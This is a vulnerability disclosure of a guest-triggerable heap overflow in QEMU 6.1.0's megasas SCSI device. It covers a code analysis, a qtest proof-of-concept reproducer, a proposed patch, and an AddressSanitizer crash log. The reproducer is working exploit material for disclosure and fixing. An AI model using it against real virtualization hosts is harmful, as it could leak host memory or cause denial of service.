|=----------------------------------------------------------------------------=| |=-----------------------=[ Vulnerability Disclosure ]=-----------------------=| |=------------------=[ QEMU/SCSI: Heap Overflow in megasas ]=-----------------=| |=----------------------------------------------------------------------------=| |=-----------------------=[ Tue 02 Nov 2021 20:03:44 ]=-----------------------=| |=------------=[ https://qiuhao.org/VD_QEMU_megasas_CWE-122.txt ]=------------=| |=----------------------------------------------------------------------------=| -- [ Description In hw/scsi/megasas.c:megasas_enqueue_frame() [1], a memory block with a size of 0x800 bytes (1)(2) is mapped from guest to host to handle all possible frames: #define MEGASAS_MAX_SGE 128 /* Firmware limit */ static MegasasCmd *megasas_enqueue_frame(MegasasState *s, hwaddr frame, uint64_t context, int count) { PCIDevice *pcid = PCI_DEVICE(s); MegasasCmd *cmd = NULL; int frame_size = MEGASAS_MAX_SGE * sizeof(union mfi_sgl); <---- (1) hwaddr frame_size_p = frame_size; unsigned long index; /* ...... */ /* Map all possible frames */ cmd->frame = pci_dma_map(pcid, frame, &frame_size_p, 0); <---- (2) if (!cmd->frame || frame_size_p != frame_size) { trace_megasas_qf_map_failed(cmd->index, (unsigned long)frame); if (cmd->frame) { megasas_unmap_frame(s, cmd); } s->event_count++; return NULL; } /* ...... */ } However, this code forgets to count the frame header and other metadata before the first mfi_sgl struct. Give the mfi_io_frame (3) as an example, there is a 40-bytes space (4) in front of the array of sgls: union mfi_frame { struct mfi_frame_header header; struct mfi_init_frame init; struct mfi_io_frame io; <------- (3) struct mfi_pass_frame pass; struct mfi_dcmd_frame dcmd; struct mfi_abort_frame abort; struct mfi_smp_frame smp; struct mfi_stp_frame stp; uint64_t raw[8]; uint8_t bytes[MFI_FRAME_SIZE]; }; #define MFI_IO_FRAME_SIZE 40 struct mfi_io_frame { struct mfi_frame_header header; uint32_t sense_addr_lo; uint32_t sense_addr_hi; uint32_t lba_lo; uint32_t lba_hi; union mfi_sgl sgl; <------- (4) } QEMU_PACKED; So later when the address of cmd->frame->io.sgl is passed to megasas_map_sgl() (5), it actually parses from base_address + 0x28, thus leaving only 0x800 - 0x28 = 0x7d8 bytes: static int megasas_handle_io(MegasasState *s, MegasasCmd *cmd, int frame_cmd) { /* ...... */ cmd->iov_size = lba_count * sdev->blocksize; if (megasas_map_sgl(s, cmd, &cmd->frame->io.sgl)) { <------ (5) megasas_write_sense(cmd, SENSE_CODE(TARGET_FAILURE)); cmd->frame->header.scsi_status = CHECK_CONDITION; s->event_count++; return MFI_STAT_SCSI_DONE_WITH_ERROR; } /* ...... */ } In megasas_map_sgl(), the code only checks if the frames count is bigger than MEGASAS_MAX_SGE (6) and then try to get addr (7) and len (8) from every frame: static int megasas_map_sgl(MegasasState *s, MegasasCmd *cmd, union mfi_sgl *sgl) { int i; int iov_count = 0; size_t iov_size = 0; cmd->flags = le16_to_cpu(cmd->frame->header.flags); iov_count = cmd->frame->header.sge_count; if (!iov_count || iov_count > MEGASAS_MAX_SGE) { <---- (6) trace_megasas_iovec_sgl_overflow(cmd->index, iov_count, MEGASAS_MAX_SGE); return -1; } pci_dma_sglist_init(&cmd->qsg, PCI_DEVICE(s), iov_count); for (i = 0; i < iov_count; i++) { dma_addr_t iov_pa, iov_size_p; if (!sgl) { trace_megasas_iovec_sgl_underflow(cmd->index, i); goto unmap; } iov_pa = megasas_sgl_get_addr(cmd, sgl); <---- (7) iov_size_p = megasas_sgl_get_len(cmd, sgl); <---- (8) if (!iov_pa || !iov_size_p) { trace_megasas_iovec_sgl_invalid(cmd->index, i, iov_pa, iov_size_p); goto unmap; } qemu_sglist_add(&cmd->qsg, iov_pa, iov_size_p); sgl = megasas_sgl_next(cmd, sgl); <---- (9) iov_size += (size_t)iov_size_p; } A function called megasas_sgl_next() (9) will check if the sgl pointer is overflowing the mapped region. Unfortunately, its logic is problematic: static union mfi_sgl *megasas_sgl_next(MegasasCmd *cmd, union mfi_sgl *sgl) { uint8_t *next = (uint8_t *)sgl; if (megasas_frame_is_ieee_sgl(cmd)) { next += sizeof(struct mfi_sg_skinny); } else if (megasas_frame_is_sgl64(cmd)) { next += sizeof(struct mfi_sg64); } else { next += sizeof(struct mfi_sg32); } if (next >= (uint8_t *)cmd->frame + cmd->pa_size) { <----- (10) return NULL; } return (union mfi_sgl *)next; } As shown above (10), megasas_sgl_next() checks the next sgl pointer's start address within the region but doesn't check if the sgl struct can overflow the mapped area. There are three kinds of mfi_sgl: union mfi_sgl { struct mfi_sg32 sg32[1]; struct mfi_sg64 sg64[1]; struct mfi_sg_skinny sg_skinny[1]; } QEMU_PACKED; Suppose we are using struct mfi_sg_skinny of size 16 bytes: struct mfi_sg_skinny { uint64_t addr; uint32_t len; uint32_t flag; } QEMU_PACKED; And iov_count = cmd->frame->header.sge_count, which is controlled by the guest, is set to MEGASAS_MAX_SGE. After 125 frames is parsed, sgl is pointed to base_address + 0x28 + 125 * sizeof(struct mfi_sg_skinny) = 0x7f8, so only 8 bytes left. But there are three frames ready to be handled. When we parsed the next sql, the a crash will happen in megasas_sgl_get_len() at (11): static uint32_t megasas_sgl_get_len(MegasasCmd *cmd, union mfi_sgl *sgl) { uint32_t len; if (megasas_frame_is_ieee_sgl(cmd)) { len = le32_to_cpu(sgl->sg_skinny->len); <---- (11) base_address + 0x800 /* ...... */ } In the reproducer below, we set frame_addr 0x800 bytes low than RAM's (512 MB) upper bound, thus a heap-over-flow of size 4 bytes will happen. Attackers may use this flaw to leak information from the host or cause a DoS. -- [ Affected Versions QEMU release 6.1.0 (previous versions may also be affected). -- [ Reproducer I wrote a PoC with comments based on Qtest. You can view the output at [2]. Test Enviorment: Ubuntu 21.04 Linux 5.11.0-38-generic x86_64 clang 12.0.0 GLIBC 2.33 libglib2.0-dev (2.68.1-1~ubuntu21.04.1) QEMU master branch, commit 4c127fdbe81d6 ```sh ./configure --enable-sanitizers && make qemu-system-x86_64 -j$(nproc) cat << EOF | ./build/qemu-system-x86_64 -machine accel=qtest, -m 512M \ -display none -machine q35 -nodefaults -device megasas,id=scsi0 -device \ scsi-hd,drive=disk0,bus=scsi0.0 -drive id=disk0,if=none,file=null-co://,format=raw -qtest stdio \ outl 0xcf8 0x80000818 outl 0xcfc 0xc000 outl 0xcf8 0x80000804 outw 0xcfc 0x05 write 0x1ffff800 0x1 0x02 /* header.frame_cmd = 2, MFI_CMD_LD_WRITE, megasas_handle_io() */ write 0x1ffff807 0x1 0x80 /* header.sge_count = 0x80, MEGASAS_MAX_SGE */ write 0x1ffff810 0x1 0x20 /* header.flags = 32, MFI_FRAME_IEEE_SGL */ memset 0x1ffff828 0x7d8 0xff /* set all sgl.addr and sgl.len */ outl 0xc040 0x1ffff800 /* addr=0x40 MFI_IQP, frame_addr = 0x20000000 (RAM 512MB) - 0x800, frame_count = 0x7 */ EOF ``` -- [ Mitigation To the best of my knowledge, the root causes of this flaw are the wrong map size and the problematic bound check. So the patch could be: From 0bdad63a6cee5905fb40e4647c82ed2ad60ffd95 Mon Sep 17 00:00:00 2001 From: Qiuhao Li Date: Tue, 2 Nov 2021 21:08:00 +0800 Subject: [PATCH] scsi: fix map size in megasas_enqueue_frame and check in megasas_sgl_next Signed-off-by: Qiuhao Li --- hw/scsi/megasas.c | 10 ++++++++-- hw/scsi/mfi.h | 6 ++++++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/hw/scsi/megasas.c b/hw/scsi/megasas.c index 4ff51221d4..ee4132b951 100644 --- a/hw/scsi/megasas.c +++ b/hw/scsi/megasas.c @@ -252,16 +252,21 @@ static union mfi_sgl *megasas_sgl_next(MegasasCmd *cmd, union mfi_sgl *sgl) { uint8_t *next = (uint8_t *)sgl; + uint8_t *next_end = NULL; + uint8_t *bound = (uint8_t *)cmd->frame + cmd->pa_size; if (megasas_frame_is_ieee_sgl(cmd)) { next += sizeof(struct mfi_sg_skinny); + next_end = next + sizeof(struct mfi_sg_skinny); } else if (megasas_frame_is_sgl64(cmd)) { next += sizeof(struct mfi_sg64); + next_end = next + sizeof(struct mfi_sg64); } else { next += sizeof(struct mfi_sg32); + next_end = next + sizeof(struct mfi_sg32); } - if (next >= (uint8_t *)cmd->frame + cmd->pa_size) { + if (next_end <= next || next >= bound || next_end >= bound) { return NULL; } return (union mfi_sgl *)next; @@ -489,7 +494,8 @@ static MegasasCmd *megasas_enqueue_frame(MegasasState *s, { PCIDevice *pcid = PCI_DEVICE(s); MegasasCmd *cmd = NULL; - int frame_size = MEGASAS_MAX_SGE * sizeof(union mfi_sgl); + int header_size = sizeof(union mfi_x_frame) - sizeof(union mfi_sgl); + int frame_size = MEGASAS_MAX_SGE * sizeof(union mfi_sgl) + header_size; hwaddr frame_size_p = frame_size; unsigned long index; diff --git a/hw/scsi/mfi.h b/hw/scsi/mfi.h index e67a5c0b47..0be3f1cbc2 100644 --- a/hw/scsi/mfi.h +++ b/hw/scsi/mfi.h @@ -522,6 +522,12 @@ struct mfi_dcmd_frame { union mfi_sgl sgl; } QEMU_PACKED; +union mfi_x_frame { + struct mfi_io_frame io; + struct mfi_pass_frame pass; + struct mfi_dcmd_frame dcmd; +} QEMU_PACKED; + struct mfi_abort_frame { struct mfi_frame_header header; uint64_t abort_context; -- 2.32.0 -- [ References [1] https://github.com/qemu/qemu/blob/c52d69e7dbaaed0ffdef8125e79218672c30161d/hw/scsi/megasas.c#L487 [2] Qtest & ASAN report (with some trace events): ``` [I 1635843111.995881] OPENED cpu_get_apic_base 0x00000000fee00900 megasas_init Using 80 sges, 1000 cmds, raid mode cpu_get_apic_base 0x00000000fee00900 scsi_device_set_ua target 0 lun 0 key 0x06 asc 0x29 ascq 0x00 megasas_reset firmware state 0xb0000000 cpu_get_apic_base 0x00000000fee00900 [R +0.025630] outl 0xcf8 0x80000818 cpu_out addr 0xcf8(l) value 2147485720 OK [S +0.025652] OK [R +0.025663] outl 0xcfc 0xc000 cpu_out addr 0xcfc(l) value 49152 pci_cfg_write megasas 01:0 @0x18 <- 0xc000 OK [S +0.025674] OK [R +0.025679] outl 0xcf8 0x80000804 cpu_out addr 0xcf8(l) value 2147485700 OK [S +0.025684] OK [R +0.025687] outw 0xcfc 0x05 cpu_out addr 0xcfc(w) value 5 pci_cfg_write megasas 01:0 @0x4 <- 0x5 pci_update_mappings_add d=0x7fa68519b800 00:01.0 2,0xc000+0x100 OK [S +0.026522] OK [R +0.026557] write 0x1ffff800 0x1 0x02 /* header.frame_cmd = 2, MFI_CMD_LD_WRITE, megasas_handle_io() */ OK [S +0.026891] OK [R +0.026909] write 0x1ffff807 0x1 0x80 /* header.sge_count = 0x80, MEGASAS_MAX_SGE */ OK [S +0.026917] OK [R +0.026921] write 0x1ffff810 0x1 0x20 /* header.flags = 32, MFI_FRAME_IEEE_SGL */ OK [S +0.026926] OK [R +0.026930] memset 0x1ffff828 0x7d8 0xff OK [S +0.026938] OK [R +0.026945] outl 0xc040 0x1ffff800 /* addr=0x40 MFI_IQP, frame_addr = 0x20000000 (RAM 512MB) - 0x800, frame_count = 0x7 */ cpu_out addr 0xc040(l) value 536868864 megasas_mmio_writel reg MFI_IQP: 0x1ffff800 megasas_qf_new frame 0x0 addr 0x1ffff800 megasas_qf_enqueue frame 0x0 count 0 context 0x0 head 0x0 tail 0x0 busy 1 megasas_handle_io scmd 0: LD Write dev 0/0 lba 0x0 count 0 AddressSanitizer:DEADLYSIGNAL ================================================================= ==89281==ERROR: AddressSanitizer: SEGV on unknown address 0x7fa684600000 (pc 0x55901bb75ed6 bp 0x7ffcfd79a460 sp 0x7ffcfd79a3b0 T0) ==89281==The signal is caused by a READ memory access. #0 0x55901bb75ed6 in megasas_sgl_get_len /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:242:43 #1 0x55901bb79975 in megasas_map_sgl /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:294:22 #2 0x55901bb5567a in megasas_handle_io /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:1781:9 #3 0x55901bb488b5 in megasas_handle_frame /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:1976:24 #4 0x55901bb45fbb in megasas_mmio_write /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:2129:9 #5 0x55901bb81571 in megasas_port_write /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:2180:5 #6 0x55901c4339a3 in memory_region_write_accessor /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:492:5 #7 0x55901c4332e1 in access_with_adjusted_size /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:554:18 #8 0x55901c431bf6 in memory_region_dispatch_write /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:1504:16 #9 0x55901c403003 in flatview_write_continue /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2779:23 #10 0x55901c3f1b8f in flatview_write /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2819:14 #11 0x55901c3f1718 in address_space_write /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2911:18 #12 0x55901c41b3ca in cpu_outl /home/qiuhao/tmp/qemu/build/../softmmu/ioport.c:80:5 #13 0x55901c490aab in qtest_process_command /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:499:13 #14 0x55901c48dffd in qtest_process_inbuf /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:813:9 #15 0x55901c49dd3e in qtest_read /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:825:5 #16 0x55901d08066d in qemu_chr_be_write_impl /home/qiuhao/tmp/qemu/build/../chardev/char.c:201:9 #17 0x55901d080729 in qemu_chr_be_write /home/qiuhao/tmp/qemu/build/../chardev/char.c:213:9 #18 0x55901d08c8a5 in fd_chr_read /home/qiuhao/tmp/qemu/build/../chardev/char-fd.c:73:9 #19 0x55901cb235ec in qio_channel_fd_source_dispatch /home/qiuhao/tmp/qemu/build/../io/channel-watch.c:84:12 #20 0x7fa6887547c3 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x557c3) #21 0x55901d36a519 in glib_pollfds_poll /home/qiuhao/tmp/qemu/build/../util/main-loop.c:232:9 #22 0x55901d369753 in os_host_main_loop_wait /home/qiuhao/tmp/qemu/build/../util/main-loop.c:255:5 #23 0x55901d36931c in main_loop_wait /home/qiuhao/tmp/qemu/build/../util/main-loop.c:531:11 #24 0x55901c427af3 in qemu_main_loop /home/qiuhao/tmp/qemu/build/../softmmu/runstate.c:726:9 #25 0x55901aef88de in main /home/qiuhao/tmp/qemu/build/../softmmu/main.c:50:5 #26 0x7fa687f54fcf in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #27 0x7fa687f5507c in __libc_start_main csu/../csu/libc-start.c:409:3 #28 0x55901ae47a54 in _start (/home/qiuhao/tmp/qemu/build/qemu-system-x86_64+0x1a4ba54) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:242:43 in megasas_sgl_get_len ==89281==ABORTING ```